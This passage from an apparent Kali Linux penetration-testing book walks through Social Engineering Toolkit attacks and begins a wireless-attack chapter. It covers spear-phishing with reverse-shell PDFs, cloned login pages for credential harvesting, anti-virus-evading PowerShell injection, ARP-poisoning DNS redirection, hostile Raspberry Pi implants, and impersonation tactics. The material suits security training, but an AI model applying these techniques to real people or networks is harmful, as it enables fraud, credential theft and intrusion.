must know the names and usernames associated with the target; more
importantly, the attacker must understand the concerns of the users on the
• Understanding how to apply this knowledge to convince potential targets
to activate the attack by clicking on a link, or executing a program. For
example, if the target company has just merged with a former competitor, the
job security of employees will likely be the top-of-mind concern. Therefore,
e-mails or documents with titles associated with that subject will likely be
opened by targeted individuals.
Kali Linux provides several tools and frameworks that have an increased chance of
success if social engineering is used as a pretext to influence victims to open files or
execute certain operations. Examples include script attacks (includes Visual Basic,
WMI, and PowerShell scripts), executables created by the Metasploit Framework,
and the BeEF (The Browser Exploitation Framework).
Physical Attacks and Social Engineering
In this chapter, we'll focus on Social Engineering Toolkit or SEToolkit. The
techniques used in employing these tools will serve as the model for using
social engineering to deploy attacks from other tools.
By the end of this chapter, you will learn how to use the SEToolkit to do
the following:
• Obtain a remote shell using spear phishing and Java applet attacks
• Harvest or collect usernames and passwords using the credential
harvester attack
• Launch the tabnabbing and webjacking attacks
• Employ the multi-attack web method
• Use PowerShell's alphanumeric shellcode injection attack
To support SET's social engineering attacks, the following general implementation
practices will be described:
• Hiding malicious executables and obfuscating the attacker's URL
• Escalating an attack using DNS redirection
You will also learn how to create and implement hostile physical devices based on
the Raspberry PI microcomputer.
Social Engineering Toolkit
Social-Engineer Toolkit (SEToolkit) was created and written by David
Kennedy (ReL1K), and it is maintained by an active group of collaborators
( It is an open source python-driven framework
that is specifically designed to facilitate social engineering attacks.
A significant advantage of SEToolkit is its interconnectivity with the Metasploit
Framework which provides the payloads needed for exploitation, the encryption
to bypass anti-virus, and the listener module that connects to the compromised
system when it sends a shell back to the attacker.
Before launching SEToolkit, you may wish to make some modifications to the
configuration file.
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The social engineering toolkit is preconfigured with common default settings;
however, these settings can be altered to adapt the kit to specific attack scenarios. In
Kali, the configuration file is /usr/share/set/config/set_config. Modifying this
file allows you to control the following:
• Metasploit variables, including the location, the database to use, how many
times a payload should be encoded, and commands to automatically run
once a meterpreter session has been established.
• Ettercap and dsniff switches to facilitate DNS redirection attacks and
capture of authentication credentials. By controlling the DNS, an attacker
can automatically direct groups of people to false sites created using the
• Configuration of sendmail or other mail programs for use in attacks
requiring spoofed e-mail addresses; this allows the social engineer to enhance
the credibility of attacks by using an e-mail address that appears to come
from a trusted source, such as a senior manager in the same company.
• The e-mail provider to be used, including Gmail, Hotmail, and Yahoo.
• Creating self-signed Java applets with a spoofed publisher, activating SSL
certificates, and stealing digital signatures.
• Other variables such as the IP address, port assignments, and encoding
To open Social Engineering Toolkit (SET) in Kali distribution, go to Applications |
Kali Linux | Exploitation Tools | Social Engineering Toolkit | setoolkit, or enter
setoolkit at a shell prompt. You will be presented with the main menu, as shown
in the following screenshot:
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If you select 1) Social-Engineering Attacks, you will be presented with the
following submenu:
The following is a brief explanation of the social engineering attacks :
• Spear-Phishing Attack Vector allows an attacker to create e-mail
messages and send them to targeted victims with attached exploits.
• Website Attack Vectors utilize multiple web-based attacks, including
the following:
Java Applet Attack Method spoofs a Java certificate and delivers a
Metasploit-based payload. This is one of the most successful attacks,
and it is effective against Windows, Linux, or OSX targets.
Metasploit Browser Exploit Method delivers a Metasploit
payload using an iFrame attack.
Credential Harvester Attack Method clones a website and
automatically rewrites the POST parameters to allow an attacker to
intercept and harvest user credentials; it then redirects the victim
back to the original site when harvesting is completed.
Tabnabbing Attack Method replaces information on an inactive
Web Jacking Attack Method utilizes iFrame replacements to make
browser tab with a cloned page that links back to the attacker. When
the victim logs in, the credentials are sent to the attacker.
the highlighted URL link appear legitimate; however, when it is
clicked, a window pops up, and is then replaced with a malicious link.
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Multi-Attack Web Method allows an attacker to select some or all
of several attacks that can be launched at once, including The Java
Applet Attack Method, The Metasploit Browser Exploit
Method, Credential Harvester Attack Method, Tabnabbing
Attack Method, and Man Left in the Middle Attack Method.
• Infectious Media Generator creates an autorun.inf file and Metasploit
payload. Once burned or copied to a USB device or physical media (CD or
DVD) and inserted into the target system, it will trigger an autorun (if an
autorun is enabled) and compromise the system.
• The Create a Payload and Listener module is a rapid menu-driven
method of creating a Metasploit payload. The attacker must use a separate
social engineering attack to convince the target to launch it.
• MassMailer Attack allows the attacker to send multiple customized e-mails
to a single e-mail address or a list of recipients.
• Arduino-Based Attack Vector programs Arduino-based devices, such
as the Teensy. Because these devices register as a USB keyboard when
connected to a physical Windows system, they can bypass security based
on disabling the autorun or other endpoint protection.
• SMS Spoofing Attack Vector allows the attacker to send a crafted Short
Message Service text to a person's mobile device, and spoof the source of
the message.
• Wireless Access Point Attack Vector will create a fake wireless access
point and DHCP server on the attacker's system and redirect all DNS queries
to the attacker. The attacker can then launch various attacks, such as the Java
Applet Attack or a credential harvester attack.
• QRcode Generator Attack Vector creates a QRCode with a defined URL
associated with an attack.
• Powershell Attack Vectors allow the attacker to create attacks that rely
on PowerShell, a command-line shell and scripting language available on
all Windows Vista and higher versions.
• Third Party Modules allow the attacker to use the Remote Administration
Tool Tommy Edition (RATTE), as part of a Java Applet Attack or as an
isolated payload. RATTE is a text menu-driven remote access tool.
SEToolkit also gives a menu item for Fast-Track Penetration Testing, which
gives rapid access to some specialized tools that support brute force identification
and password cracking of SQL databases, as well as some customized exploits
that are based on Python, SCCM attack vectors, Dell computer DRAC/chassis
exploitation, user enumeration, and PSEXEC PowerShell injection.
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The menu also gives options for updating the Metasploit Framework, SEToolkit, and
the SEToolkit configuration. However, these additional options should be avoided as
they are not fully supported by Kali, and may cause conflicts with dependencies.
As an initial example of the SEToolkit's strengths, we'll see how it can be used to
gain a remote shell—a connection made from the compromised system back to the
attacker's system.
Spear Phishing Attack
Phishing is an e-mail fraud attack carried out against a large number of victims,
such as a list of known American Internet users. The targets are generally not
connected, and the e-mail does not attempt to appeal to any specific individual.
Instead, it contains an item of general interest (for example, "Click here for bargain
medications") and a malicious link or attachment. The attacker plays the odds that at
least some people will click on the link attachment to initiate the attack.
On the other hand, spear phishing is a highly specific form of phishing attack—by
crafting the e-mail message in a particular way, the attacker hopes to attract the
attention of a specific audience. For example, if the attacker knows that the sales
department uses a particular application to manage its customer relationships, he
may spoof an e-mail pretending that it is from the application's vendor with a subject
line of "Emergency fix for <application> - Click link to download".
The success rate of a phishing attack is typically less than five percent;
however, the success rate of a spear phishing attack ranges from forty
to eighty percent. This is why information from the reconnaissance
phase is critical to the success of this type of attack.
On average, only ten to fifteen e-mails need to be sent to a target
before at least one is clicked on.
Before launching the attack, ensure that sendmail is installed on Kali (aptget install sendmail) and change the set_config file from SENDMAIL=OFF to
To launch the attack, select Social Engineering Attacks from the main SEToolkit
menu, and then select Spear-Phishing Attack Vectors from the submenu. This
will launch the start options for the attack, as shown in the following screenshot:
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Select 1 to perform a mass e-mail attack; you will then be presented with a list of
attack payloads, as shown in the following screenshot:
One of the most effective attacks is 15) Adobe PDF Embedded EXE Social
Engineering; however, the attack selected will vary with the attacker's knowledge
of available targets gained during the reconnaissance phase.
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When prompted to use your own PDF or a built-in blank PDF for the attack as
shown in the following screenshot, select 2 for the built-in blank payload. You will
then be prompted to select the payload.
Through testing on multiple networks, we have found that options 1 and 2
(Windows Reverse TCP shell, and Windows Meterpreter Reverse TCP) are
the most reliable payloads. For this example, we will select Windows Meterpreter
Reverse TCP—when the PDF is opened, it will execute a reverse shell back to the
attacking system.
In instances where stealth is more important than reliability, Windows Meterpreter
Reverse HTTPS is the best option.
SEToolkit will prompt for the payload listener (the attacker's IP address) and
listening port, with the default port of 443.
The next menu prompts for changing the filename of the PDF file; the default name
is moo.pdf, as shown in the following screenshot:
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The default name will not likely entice a potential victim to open the file;
furthermore, it may be identified by client-side security. For these reasons,
the filename should be changed. The name should reflect the intended audience
being attacked. For example, if you are targeting the finance group, give the PDF
file a title such as Tax Law Amendments.
You will now be offered the option of either attacking a single e-mail address, or
mass-mailing (for example, an employee list of the target company, or a specific
group within the company). Option 1 was selected for this example.
SEToolkit will then prompt to use a predefined template or craft a one-time e-mail
template. If you select a predefined template, the following options will be available:
An effective social engineering attack is crafted for the target; therefore, select option
2, One-Time Use Email Template, to create a one-time use e-mail template, as
shown in the following screenshot:
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You will be offered the option of using your own Gmail account to launch the attack
(1) or use your own server or open relay(2). If you use a Gmail account, it is likely
that the attack will fail, and you will receive the following message:
[!] Unable to deliver email. Printing exceptions message
below, this is most likely due to an illegal attachment. If using GMAIL
they inspect PDFs and it is most likely getting caught.
Gmail inspects outgoing emails for malicious files, and is very effective at identifying
payloads produced by SEToolkit and the Metasploit Framework. If you have to send
a payload using GMail, use Veil-Evasion to encode it first.
It is recommended that you use the sendmail option to send executable files;
furthermore, it allows you to spoof the source of the e-mail to make it appear as
though it originated from a trusted source.
The target will receive the following e-mail message:
To ensure that an e-mail is effective, the attacker should take care of the
following points:
• The content should provide a "carrot" (the new server will be faster, have
improved anti-virus) and a "stick" (changes you will have to make before you
can access your e-mail). Most people respond to immediate calls for action,
particularly when affects them.
• In the sample given previously, the attached document is titled template.doc.
In a real-world scenario, this would be changed to Email instructions.doc.
• Ensure that your spelling and grammar are correct, and the tone of the
message matches the content.
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• The title of the individual sending the e-mail should match the content.
If the target organization is small, you may have to spoof the name of a
real individual and send the e-mail to a small group that does not normally
interact with that person.
• Include a phone number—it makes the e-mail look more "official", and there
are various ways to use commercial voice over IP solutions to obtain a shortterm phone number with a local area code.
Once the attack e-mail is sent to the target, successful activation (the recipient
launches the executable) will create a reverse Meterpreter tunnel to the attacker's
system. The attacker will then employ Meterpreter and other tools to conduct typical
post-exploitation activities.
Using a website attack vector – Java Applet
Attack Method
The Java Applet Attack Method uses an infected Java applet to load a malicious
application onto the target system. This attack is favored by many attackers
because it is highly reliable, and it is effective against Windows, Linux, and
Mac OS X systems.
To launch the attack, open SEToolkit and select option 2) Website Attack
Vectors, from the main menu. Then select option 1) Java Applet Attack Method,
to launch the initial menu, as shown in the following screenshot:
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The options for web template are Java Required, Gmail, Google, Facebook,
Twitter, and Yahoo. The Java Required page, as shown in the following screenshot,
is usually effective because it directly prompts the user to update a vital piece of
software before continuing.
You can also choose to clone an existing site, such as the target's corporate website.
After making the selection, the attacker is then prompted to determine if they use
Port/NAT forwarding and provide the IP address of the attacking machine for the
reverse connection, as shown in the following screenshot:
Word wrapping is not well handled by the SEToolkit, and it is
common that a typed response will wrap back and overwrite a
part of the command line.
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After providing the required URL, SEToolkit will start the site cloning process,
as shown in the following screenshot. When completed, the application will start
generating the payload and supporting files (the .jar archive and the cloned
index.html file).
The next stage includes the selection of the payload. If stealth is especially important,
use option 17 to select an executable that has been encoded using veil, as shown in
the following screenshot:
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Select the encoding option to bypass local anti-virus on the target system; the most
effective of them is the fourth option, Backdoored Executable, as shown in the
following screenshot:.
The application will prompt for the listening port, and then start generating code for
common ports (25, 53, 80, 443, and so on) on the victim's machine, as shown in the
following screenshot:
Now comes the social engineering step—the attacker has to convince the targeted
person to connect to the IP address of the listening system. If the target enters that
system, they will be directed to the cloned site hosted on the listener.
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The site will present the targeted person with a security warning, as shown in the
following screenshot, indicating that an application needs to be executed in order to
access the site.
If the person chooses to execute the application, a reverse shell (depending
on the selected payload) will be formed between their computer and the
attacker's computer.
The two attacks presented demonstrate the different approaches used by the
SEToolkit to gain control of a target's computer using a reverse shell or a similar
payload. An attacker can extend the control in a number of ways, such as using
a VNC payload or placing a RATTE.
However, these attacks are intrusive—it is possible that the reverse shell may
trigger an egress alarm at the firewall as it connects to the attacker's machine.
More importantly, the payload may be reverse engineered to identify information
about the attacker.
Finally, the goal of the attack may not be an immediate compromise; instead, the
attacker may wish to collect user credentials to support a later attack, or to reuse
the credentials at multiple places on the Internet. So, let's examine a credential
harvesting attack.
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Using a website attack vector – Credential
Harvester Attack Method
Credentials, generally the username and password, give a person access to networks,
computing systems, and data. An attacker can use this information indirectly (by
logging on to the victim's Gmail account and sending e-mails to facilitate an attack
against the victim's trusted connections), or directly against the user's account.
This attack is particularly relevant given the extensive reuse of credentials—users
typically reuse passwords in multiple places.
Particularly prized are the credentials of a person with privileged access, such as a
system administrator or a database administrator, which can give an attacker access
to multiple accounts and data repositories.
The SEToolkit's credential harvesting attack uses a cloned site to collect credentials.
To launch this attack, select Website Attack Vectors from the main menu, and
then select Credential Harvester Attack Method. For this example, we will
follow the menu selections to clone a website, such as Facebook.
Again, the target IP address must be sent to the intended target. When the target
clicks on the link or enters the IP address, they will be presented with a cloned page
that resembles the regular entry page for Facebook, and they will be prompted to
enter their usernames and passwords.
Once this is done, the users will be redirected to the regular Facebook site, where
they will be logged in to their account.
In the background, their access credentials will be collected and forwarded to the
attacker. They will see the following entry in the listener window:
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When the attacker has finished collecting credentials, entering CTRL + C will
generate two reports in the /SET/reports directory in the XML and HTML formats.
A similar attack option is the Web Jacking Attack. When the victims open the
attacker's link, they will be presented with a page informing them that their selected
page has been moved, as shown in the following screenshot:
When the users click on the link to go to the new location, they will be presented
with a cloned page that appears to be the one expected, as shown in the following
screenshot; again, the page will be harvesting their login credentials.
Note that the address in the URL bar is not the valid address for
Google; most users will recognize that something is wrong if they can
see the address. A successful exploit requires the attacker to prepare
the victim with a suitable pretext, or story, to make the victim accept
the unusual URL. For example, send an e-mail to a targeted group of
nontechnical managers to announce that a "local Google mail site is
now being hosted by IT to reduce delays in the mail system."
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The Credential harvesting attack is an excellent tool for assessing the security of a
corporate network. To be effective, the organization must first train all employees
on how to recognize and respond to a phishing attack. Approximately two weeks
later, send a corporate-wide e-mail that contains some obvious mistakes (incorrect
name of the corporate CEO or an address block that contains the wrong address)
and a link to a program that harvests credentials. Calculate the percentage of
recipients who responded with their credentials, and then tailor the training
program to reduce this percentage.
Using a website attack vector – Tabnabbing
Attack Method
Tabnabbing exploits a user's trust by loading a fake page in one of the open tabs of a
browser. By impersonating a page of a site such as Gmail, Facebook, or any other site
that posts data (usually usernames and passwords), a tabnabbing attack can collect a
victim's credentials. The Social Engineering Toolkit invokes the credential harvester
attack that we previously described.
To launch this attack, launch the Social Engineering Toolkit from a console prompt,
and then select 1) Social-Engineering Attacks. In the next menu, select 2)
Website Attack Vectors. The tabnabbing attack is launched by selecting 4)
Tabnabbing Attack Method.
When the attack is launched, you will be prompted with three options to generate the
fake websites that will be used to gather credentials. The attacker can allow setoolkit
to import a list of predefined web applications, clone a website (such as Gmail), or
import their own website. For this example, we will select 2) Site Cloner.
This will prompt the attacker to enter the IP address that the server will POST to; this
is usually the IP address of the attacker's system. The attacker will then be prompted
to enter the URL of the website to be cloned. In the following screenshot, Gmail's
website has been selected.
The attacker must then employ social engineering to force the victim to visit the
IP address for the post back action (for example, URL shortening). The victim will
receive a message that the site is loading (as the attack script loads the cloned site
under a different tab in the browser, as shown in the following screenshot):
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The target will then be presented with the fake page (with the false IP address still
visible). If the users enter their usernames and passwords, the data will be posted to
the listener on the attacker's system. As you can see in the following screenshot, it
has captured the username and the password.
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Using a website attack vector - Multi-Attack
Web Method
The "hail Mary" attack for website attack vectors is Multi-Attack Web Method,
which allows the attacker to implement several different attacks at one time, should
they choose to. By default, all attacks are disabled, and the attacker chooses the ones
to run against the victim, as shown in the following screenshot:
This is an effective option if you are unsure which attacks will be effective against a
target organization; select one employee, determine the successful attack(s), and then
reuse these against the other employees.
Using the PowerShell alphanumeric
shellcode injection attack
The Social Engineering Toolkit also incorporates the more effective attacks based on
PowerShell, which is available on all Microsoft operating systems after the release of
Microsoft Vista. Because PowerShell shellcode can easily be injected into the target's
physical memory, attacks using this vector do not trigger anti-virus alarms.
To launch a PowerShell injection attack using setoolkit, select 1) SocialEngineering Attacks from the main menu. Then select 10) Powershell Attack
Vectors from the next menu.
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This will give the attacker four options for attack types; for this example, select 1 to
invoke PowerShell Alphanumeric Shellcode Injector.
This will set the attack parameters and prompt the attacker to enter the IP address for
the payload listener, which will usually be the IP address of the attacker. When this
has been entered, the program will create the exploit code and start a local listener.
The PowerShell shellcode that launches the attack is stored at /root/.set/reports/
The social engineering aspect of the attack occurs when the attacker convinces the
intended victim to copy the contents of x86_powershell_injection.txt on a
command prompt, as shown in the following screenshot, and executes the code.
As shown in the following screenshot, execution of the shellcode did not trigger
an anti-virus alarm on the target system. Instead, when the code was executed, it
opened a meterpreter session on the attacking system and allowed the attacker to
gain an interactive shell with the remote system.
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Hiding executables and obfuscating the
attacker's URL
As shown in the previous examples, there are two keys to success in launching a
social engineering attack. The first is to obtain the information needed to make it
work—usernames, business information, and supporting details about networks,
systems, and applications.
However, the majority of the work effort is focused on the second aspect—crafting
the attack to entice the target into opening an executable or clicking on a link.
Several attacks produce modules that require the victim to execute them in order for
the attack to succeed. Unfortunately, users are increasingly wary about executing
unknown software. However, there are some ways to increase the possibility of
successful execution of the attack, including the following:
• Attack from a system that is known and trusted by the intended victim, or
spoof the source of the attack. If the attack appears to originate from the
help desk or IT support, and claims to be an "urgent software update", it will
likely be executed.
• Rename the executable to resemble trusted software, such as "Java Update".
• Embed the malicious payload into a benign file such as a PDF file using
an attack such as Metasploit's adobe_pdf_embedded_exe_nojs attack.
Executables can also be bound to Microsoft Office files, MSI install files, or
BAT files configured to run silently on the desktop.
• Have the user click on a link that downloads the malicious executable.
Since the SEToolkit uses the attacker's URL as the destination for its attacks, a key
success factor is to ensure that the attacker's URL is believable to the victim. There
are several techniques to accomplish this, including the following:
• Shorten the URL using a service such as or The
shortened URLs are common among social media such as Twitter, and
victims rarely use precautions when clicking on such links.
• Enter the link on a social media site such as Facebook or LinkedIn; the site
will create its own link to replace yours, with an image of the destination
page. Then, remove the link that you entered, leaving behind the new social
media link.
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• Create a fake web page on LinkedIn or Facebook—as the attacker, you
control the content, and can create a compelling story to drive members to
click on links or download executables. A well-executed page will not only
target employees, but also vendors, partners, and their clients, maximizing
the success of a social engineering attack.
• Embed the link in a file such as PowerPoint.
To embed a link in PowerPoint, launch it and create a slide show by saving the
extension as .pps. Give the presentation a title that will be of interest to the target
person, and create a couple of generic content files. On the front page, insert a text
box and drag the box to cover the entire surface of that slide. Click on Insert, and
then select the Action tab. In the dialog box, click on the Hyperlink to radio button,
and select URL from the drop-down menu. Enter the URL used to launch the attack,
as shown in the following screenshot:
When the file is opened, it starts as a fullscreen slide show. Because the attack is
launched via a mouse over, the users will launch the attack when they attempt to
close the document.
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Escalating an attack using DNS
If an attacker or penetration tester has compromised a host on the internal network,
they can escalate the attack using DNS redirection. This is generally considered to
be a horizontal attack (it compromises persons of roughly the same access
privileges); however, it can also escalate vertically if credentials from privileged
persons are captured.
In this example, we will use ettercap which acts as a sniffer, interceptor, and logger for
switched LANs. It facilitates man-in-the-middle attacks, but we will use it to launch a
DNS redirection attack to divert users to sites used for our social engineering attacks.
To start the attack, we must first modify the ettercap configuration file located
at /etc/ettercap/etter.dns to redirect queries to our hostile site. A sample
using Microsoft's site is found in the configuration file; replicate the same details
to direct the target site request to the malicious IP address, as shown in the
following screenshot:
Start ettercap in graphical mode by typing ettercap –G at a command prompt.
From the Sniff tab, select Unified sniffing from the drop-down menu, as shown in
the following screenshot:
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When prompted to select the network interface, select eth0 for the internal
network (as you can see, ettercap will also support wireless attacks when you
select a different interface). You should see that the tabbed menu change, giving
you more options.
From the Hosts tab, select Scan for hosts from the drop-down menu. It will
conduct a rapid scan, and then report that "x hosts added to the hosts list". From
the Hosts tab, select Hosts list to see a list of possible target systems, as shown in
the following screenshot:
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Highlight the identified systems that you wish to target (for example, all hosts located
on the same segment of a switched LAN) and select the Add to Target 1 tab.
When this is done, select the Plugins tab, which will provide you with a list of the
ettercap plugins that are available for use. Select the plugin, as
shown in the following screenshot:
To launch the attack, select the Mitm tab, and choose Arp poisoning from the
pull-down menu, as shown in the following screenshot. Ettercap will poison the
Address Resolution Protocol table or cache, on the selected systems.
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When ARP poisoning is selected, you will be offered optional parameters. Select the
parameter to sniff remote connections. Then, go to the Start tab, and select to start
unified sniffing.
When a user on any of the targeted systems attempts to go to Facebook, their cache
table will not provide them with the location on the Internet. Ettercap will divert
their lookups to the URL that you supplied in the configuration file, and the users
will instead be directed to the hostile web page prepared by the attacker, and will be
subject to an attack such as credential harvesting.
At all times, the persons being attacked will see the apparently correct URL in their
browser window.
DNS redirection can be used to facilitate all attacks that rely on the user clicking on a
URL link to initiate the attack, and this works on both wired and wireless networks.
Physical access and hostile devices
Kali and SEToolkit also facilitate attacks where the intruder has direct physical
access to systems and the network. This can be a risky attack, as the intruder may
be spotted by an observant human, or caught on a surveillance device. However,
the reward can be significant, because the intruder can compromise specific systems
that have valuable data.
Physical access is usually a direct result of social engineering, especially when
impersonation is used. Common impersonations include the following:
• A person who claims to be from the help desk or IT support, and just needs
to quickly interrupt the victim by installing a system upgrade.
• A vendor who drops by to talk to a client, and then excuses himself to talk
to someone else or visit a restroom.
• A delivery person dropping off a package. Attackers can opt to buy a
delivery uniform online; however, since most people assume that anyone
who is dressed all in brown and pushing a handcart filled with boxes is a
UPS delivery person, uniforms are rarely a necessity for social engineering!
• Tradespersons wearing work clothes, carrying a "work order" that they
have printed out, are usually allowed access to wiring closets and other
areas, especially when they claim to be present at the request of the
building manager.
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• Dress in an expensive suit, carry a clipboard, and walk fast—employees
will assume that you're an unknown manager. When conducting this type
of penetration, we usually inform people that we are auditors, and our
inspections are rarely questioned.
The goal of hostile physical access is to rapidly compromise selected systems; this is
usually accomplished by installing a backdoor or similar device on the target.
One of the classic attacks is to place a CD-ROM, DVD, or USB key in a system and let
the system install it using the autoplay option; however, many organizations disable
autoplay across the network.
Attackers can also create "poisoned bait" traps—mobile devices that contain files
with names that invite a person to click the file and examine its contents. Some of the
examples include the following:
• USB keys with labels such as Employee Salaries or Medical Insurance
• Metasploit allows an attacker to bind a payload, such as a reverse shell, to an
executable such as a screensaver. The attacker can create a screensaver using
publicly available corporate images, and mail CDs to employees with the
new endorsed screensaver. When the user installs the program, the backdoor is
also installed, and it connects to the attacker.
• If you know that employees have attended a recent conference, attackers
can impersonate a vendor who was present and send the target a letter
insinuating that it is a follow-up from the vendor show. A typical message
will be, "If you missed our product demonstration and one-year free trial,
please review the slide show on the attached USB key by clicking start.exe".
One interesting variant is the SanDisk U3 USB key, or Smart Drive. The U3 keys
were preinstalled with launchpad software that automatically allowed the keys to
write files or registry information directly to the host computer when inserted to
assist in the repaid launching of approved programs. The u3-pwn tool (Kali
Linux | Maintaining Access | OS Backdoors | u3-pwn) removes the original
ISO file from the Sandisk U3 and replaces it with a hostile Metasploit payload,
which is then encoded to avoid detection on the target system.
Unfortunately, support for these USB devices is lessening, and they remain
vulnerable to the same degree of detection as other Metasploit payloads.
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An emerging option is the use of Teensy—a small integrated circuit device that
registers as a USB keyboard when inserted into a Windows-based system. This
allows it to bypass systems that disable autorun or use client-side anti-virus software.
A Teensy can be purchased online from Amazon for approximately $20 to $25.
The setoolkit generates the code required by a Teensy to turn it into an attack
vector, as shown in the following screenshot:
A Teensy configured as a hostile agent is quite powerful; during penetration testing
of corporate clients, our testers have demonstrated a hundred percent chance of
being able to infect at least one system on each network being tested!
Unfortunately, these devices suffer a significant limitation—they can do only what
they are programmed to do, and the attacker or penetration tester has limited ability
to capitalize on any discoveries that are made post compromise.
To remedy this short-fall, attackers are now using microcomputers, such as the
Raspberry Pi, as the attack vector.
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Raspberry Pi attack vectors
The Raspberry Pi is a microcomputer—it measures approximately 8.5 cm X 5.5 cm
in size, but manages to pack 512 MB RAM, two USB ports, and an Ethernet port
supported by a Broadcom chip using an ARM processor running at 700 MHz
(which can be overclocked to 1 GHz). It doesn't include a hard drive, but uses an
SD card for data storage. As shown in the following image, the Raspberry Pi is
approximately two-third the length of a pen; it is easy to hide on a network (behind
workstations or servers, placed inside of server cabinets, or hidden beneath floor
panels in the data center).
To configure Raspberry Pi as an attack vector, the following items are required:
• Raspberry Pi Model B, or newer Version
• An HDMI cable
• A micro USB cable and charging block
• An Ethernet cable or mini-wireless adaptor
• A SD card, Class 10, of at least 8 GB
Together, all supplies are typically available online for a total of less than $100.
To configure Raspberry, download the latest version of Kali Linux ARM edition,
and extract it from the source archive. If you are configuring from a Windows-based
desktop, then download and extract Win32DiskImager (
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Using a card reader, connect the SD card to the Windows-based computer and open
the Win32DiskImager. Select the ARM version of Kali, kali-custom-rpi.img,
which was downloaded and previously extracted, and write it to the SD card.
This will take some time.
Separate instructions for flashing the SD card from Mac or Linux systems are
available on the Kali website.
Insert the newly flashed SD card into the Raspberry Pi and connect the Ethernet
cable or wireless adapter to the Windows workstation, the HDMI cable to a monitor,
and the Micro USB power cable to a power supply. Once supplied with power, it will
boot directly into Kali Linux. The Raspberry relies on external power, and there is no
separate on/off switch; however, Kali can still be shut down from the command line.
Once Kali is installed, ensure that it is up to date using the apt-get command.
Make sure the SSH host keys are changed as soon as possible, as all Raspberry Pi
images have the same keys. Use the following command:
[email protected]:~rm /etc/ssh/ssh_host_*
[email protected]:~dpkg-reconfigure openssh-server
[email protected]:~ service ssh restart
At the same time, make sure the default username and password are changed.
The next step is to configure Raspberry to connect back to the attacker's computer
(using a static IP address or a dynamic DNS addressing service) at a regular
interval using cron.
An attacker must then physically access the target's premises and connect
Raspberry to the network. The majority of networks automatically assigns
devices a DHCP address and has limited controls against this type of attack.
Once Raspberry connects back to the attacker's IP address, the attacker can run
reconnaissance and exploit applications against the victim's internal network
from a remote location using SSH to issue commands.
If a wireless adapter is connected, such as EW-7811Un, the 150 Mbps wireless
802.11b/g/nNano USB adaptor, the attacker can connect wirelessly, or use the
Pi to launch wireless attacks (Chapter 8, Exploiting Wireless Communications).
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Social engineering is a methodology of hacking the human—taking advantage
of a person's innate trust and helpfulness to attack a network and its devices.
In this chapter, we examined how social engineering can be used to facilitate
attacks designed to harvest network credentials, activate malicious software,
or assist in launching further attacks. Most of the attacks rely on the Social
Engineering Toolkit; however, Kali has several other applications that can be
improved using a social engineering methodology. We also examined how
physical access, usually in conjunction with social engineering, can be used
to place hostile devices on a target network.
In the next chapter, we will examine how to conduct reconnaissance against
wireless networks, and attack open networks as well as networks that are
protected with encryption schemes based on WEP, WPA, and WPA2. We
will also examine general weaknesses in wireless protocols that render them
vulnerable to the denial of service attacks, as well as impersonation attacks.
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With the dominance of mobile devices and the need to provide instant network
connectivity, wireless networks have become the ubiquitous access point to the
Internet. Unfortunately, the convenience of wireless access is accompanied with
an increase in effective attacks that result in theft of access and data as well as the
denial of service of network resources. Kali provides several tools to configure and
launch these wireless attacks, allowing organizations to improve security.
In this chapter, we will examine several housekeeping tasks and wireless
attacks, including:
• Configuring Kali for wireless attacks
• Wireless reconnaissance
• Bypassing MAC address authentication
• Compromising WEP encryption
• Attacking WPA and WPA2
• Wireless attacks and social engineering—cloning an access point
• Intercepting communications—man-in-the-middle wireless attacks
• Man-in-the-middle wireless attacks
• Denial-of-service (DoS) attacks against wireless communications
Exploiting Wireless Communications
Configuring Kali for wireless attacks
Kali Linux was released with several tools to facilitate the testing of wireless
networks; however, these attacks require extensive configuration to be fully
effective. In addition, testers should acquire a strong background in wireless
networking before they implement attacks or audit a wireless network.
The most important tool in wireless security testing is the wireless adaptor,
which connects to the wireless access point. It must support the tools that are used,
especially the aircrack-ng suite of tools; in particular, the card's chipset and drivers
must possess the ability to inject wireless packets into a communication stream. This
is a requirement for attacks that require specific packet types to be injected into the
traffic stream between the target and the victim. The injected packets can cause a
denial of service, allowing an attacker to capture handshake data needed to crack
encryption keys or support other wireless attacks.
The aircrack-ng site ( contains a list of known compatible
wireless adaptors.
The most reliable adapters that can be used with Kali are the ALFA NETWORK
cards, especially the AWUS036NH adaptors, which support wireless 802.11 b, g,
and n protocols. The Alfa cards are readily available online and will support all
the tests and attacks delivered using Kali.
Wireless reconnaissance
The first step to conduct a wireless attack is to conduct reconnaissance—this
identifies the exact target access point and highlights the other wireless networks
that could impact testing.
If you are using a USB-connected wireless card to connect to a Kali virtual machine,
make sure that the USB connection has been disconnected from the host operating
system and is attached to the VM by clicking on the USB connection icon , which is
indicated by an arrow in the following screenshot:
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Next, determine which wireless interfaces are available by running iwconfig from
the command line, as shown in the following screenshot:
For certain attacks, you may wish to increase the power output of the adapter. This
is especially useful if you are colocated with a legitimate wireless access point, and
you want the targets to connect to a false access point under your control rather than
the legitimate access point. These false, or rogue, access points allow an attacker to
intercept data and to view or alter it as needed to support an attack. Attackers will
frequently copy or clone a legitimate wireless site and then increase its transmission
power compared to the legitimate site as a means of attracting victims. To increase
power, the following command is used:
[email protected]:~# iwconfig wlan0 txpower 30
Many attacks will be conducted using aircrack-ng and its related tools. To start, we
need to be able to intercept or monitor wireless transmissions; therefore, we need to
set the Kali communication interface with wireless capabilities to monitor mode using
the airmon-ng command:
[email protected]:~# airmon-ng start wlan0
The execution of the previous command is shown in the following screenshot:
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Note that the description that is returned indicates that there are some processes that
could cause trouble. The most effective way to deal with these processes is to use a
comprehensive kill command as follows:
[email protected]:~# airmon-ng check kill
To view the local wireless environment, use the following command:
[email protected]:~# airodump-ng mon0
The previous command lists all the identified networks that can be found within the
range of the wireless adaptor at that particular point of time. It provides the BSSID of
the wireless nodes on the network as identified by the MAC addresses, an indication
of the relative output power, information on data packets sent, bandwidth information
including the channel used, and data, information on the encryption used, and the
ESSID which provides the name of the wireless network. This information is shown
in the following screenshot; non-essential ESSIDs have been blurred out:
The airodump command cycles through the available wireless channels and
identifies the following:
• The Basic Service Set Identifier (BSSID), which is the unique MAC address
that identifies a wireless access point or router.
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• The PWR, or power, of each network. Although airodump-ng incorrectly
shows power as being negative, this is a reporting artefact. To obtain the
proper positive values, access a terminal and run airdriver-ng unload
36 and then run airdriver-ng load 35.
• CH shows the channel that is being used to broadcast.
• ENC shows the encryption in use—it is OPN, or open, for no encryption being
used, or WEP or WPA/WPA2 if encryption is being used. CIPHER and AUTH
provide additional encryption information.
• The Extended Service Set Identifier (ESSID) is the common name of the
wireless network that is made up of the access points that share the same
SSID or name.
In the lower section of the terminal window, you will see the stations attempting to
connect, or that are connected to the wireless network.
